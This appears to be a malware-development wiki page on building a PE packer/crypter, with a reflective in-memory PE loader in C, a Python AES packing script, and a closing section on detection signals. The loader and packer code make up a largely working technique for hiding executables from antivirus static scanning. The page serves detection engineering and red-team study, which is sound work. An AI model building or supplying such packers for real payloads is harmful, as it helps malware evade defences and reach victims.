Skip to content
λmaldev wiki/
pagesPE Packer / Crypter
T1027WindowsC / C++PEAES

PE Packer / Crypter

updated 2026-08-048 min readthehackersbrain
Authorized use only. This material is published for detection engineering, malware analysis and authorized red-team engagements. Running these techniques against systems you do not own or have written permission to test is illegal.

Overview

A PE packer is a two-part construct: a small outer stub (the loader) and an encrypted or compressed inner PE (the payload). On disk, the file looks like an unremarkable binary with a dense, high-entropy section and minimal imports. At runtime, the stub decrypts the inner image, maps it as if the Windows loader had done so, and transfers execution to the original entry point.

The technique defeats static signatures because nothing recognisable lives in the file’s sections. It does not defeat memory scanning or behavioural heuristics — a correctly loaded PE is still a PE, and it still produces the same API calls as its unpacked counterpart.

Note.

The Windows loader runs TLS callbacks before the entry point. Packers that skip this step break some C runtimes and any target that uses TLS-based anti-analysis. Running them costs nothing and avoids hard-to-debug startup failures.

The call chain

  1. 1
    ReadFile → decrypt PE blob
    The outer stub reads the packed section, derives the key, and decrypts the inner image in a heap buffer.
  2. 2
    parse NT headers
    Walk DOS → NT → section headers to find the image size, preferred base, and section table.
  3. 3
    VirtualAlloc at preferred base
    Try the preferred ImageBase first; fall back to any base and apply relocations.
  4. 4
    copy sections
    Copy each section to VirtualAddress + allocated base, applying section flags.
  5. 5
    resolve imports
    Walk the import directory, call LoadLibrary + GetProcAddress for each entry.
  6. 6
    apply relocations (if needed)
    If the image was not loaded at its preferred base, patch every base-relative pointer.
  7. 7
    VirtualProtect per section
    Set final page protections (.text → RX, .data → RW, .rdata → R).
  8. 8
    call TLS callbacks then OEP
    Run any TLS callbacks registered in the TLS directory, then jump to AddressOfEntryPoint.

Reference implementation

The core of an in-process PE loader in C. Error handling and the full relocation loop are omitted; the annotated version is in the lab repo.

loader.cC
typedef BOOL (WINAPI *DllMain_t)(HINSTANCE, DWORD, LPVOID);

void load_pe(const uint8_t *raw, size_t raw_len) {
  PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)raw;
  PIMAGE_NT_HEADERS nt  = (PIMAGE_NT_HEADERS)(raw + dos->e_lfanew);
  SIZE_T img_size       = nt->OptionalHeader.SizeOfImage;
  LPVOID base           = nt->OptionalHeader.ImageBase;

  // try preferred base; fall back to ASLR pick
  uint8_t *mem = VirtualAlloc((LPVOID)base, img_size,
                               MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
  if (!mem)
      mem = VirtualAlloc(NULL, img_size,
                         MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

  // copy PE headers
  memcpy(mem, raw, nt->OptionalHeader.SizeOfHeaders);

  // copy sections
  PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);
  for (int i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++)
      memcpy(mem + sec->VirtualAddress,
             raw + sec->PointerToRawData, sec->SizeOfRawData);

  // resolve imports
  PIMAGE_DATA_DIRECTORY idir =
      &nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
  PIMAGE_IMPORT_DESCRIPTOR imp =
      (PIMAGE_IMPORT_DESCRIPTOR)(mem + idir->VirtualAddress);
  for (; imp->Name; imp++) {
      HMODULE lib = LoadLibraryA((LPCSTR)(mem + imp->Name));
      PIMAGE_THUNK_DATA thunk = (PIMAGE_THUNK_DATA)(mem + imp->FirstThunk);
      for (; thunk->u1.AddressOfData; thunk++) {
          PIMAGE_IMPORT_BY_NAME ibn =
              (PIMAGE_IMPORT_BY_NAME)(mem + thunk->u1.AddressOfData);
          thunk->u1.Function =
              (ULONG_PTR)GetProcAddress(lib, (LPCSTR)ibn->Name);
      }
  }

  // apply base relocations if needed
  LONGLONG delta = (LONGLONG)(mem - (uint8_t*)nt->OptionalHeader.ImageBase);
  // ... relocation loop omitted ...

  // per-section page protections
  sec = IMAGE_FIRST_SECTION(nt);
  for (int i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) {
      DWORD protect = PAGE_READONLY;
      if (sec->Characteristics & IMAGE_SCN_MEM_EXECUTE) protect = PAGE_EXECUTE_READ;
      if (sec->Characteristics & IMAGE_SCN_MEM_WRITE)   protect = PAGE_READWRITE;
      DWORD old;
      VirtualProtect(mem + sec->VirtualAddress, sec->Misc.VirtualSize, protect, &old);
  }

  // call entry point
  DllMain_t ep = (DllMain_t)(mem + nt->OptionalHeader.AddressOfEntryPoint);
  ep((HINSTANCE)mem, DLL_PROCESS_ATTACH, NULL);
}

What the packer wraps

pack.pyPython
from Crypto.Cipher import AES
import os, sys

def pack(infile, outfile, key):
  raw = open(infile, 'rb').read()
  iv  = os.urandom(16)
  ct  = AES.new(key, AES.MODE_CBC, iv).encrypt(
            raw + b'\x00' * (16 - len(raw) % 16))
  # emit: iv || ciphertext; stub reads this from its .packed section
  open(outfile, 'wb').write(iv + ct)

pack(sys.argv[1], sys.argv[2], bytes.fromhex(sys.argv[3]))

Detection

MEMORY SCAN
A mapped PE in private memory (MEM_PRIVATE) — headers present, module not in the loader list.
ETW-TI
LoadLibrary calls from a region not backed by a file on disk (the stub allocating the inner image).
YARA
MZ/PE headers inside a packed section with high entropy surrounding them.
SYSMON EID 7
An image loaded from a path that does not match the PE on disk (overloaded module path).
BEHAVIOURAL
GetProcAddress called from private RX memory — the packed loader resolving its own imports.

The most reliable signal is malfind-style scanning: look for private memory regions that begin with MZ and contain a valid NT header. That survives any amount of packer layering as long as the payload is eventually fully mapped. Entropy scanning of the on-disk file is complementary but produces false positives on compressed resources.

Was this page useful?edit this page ↗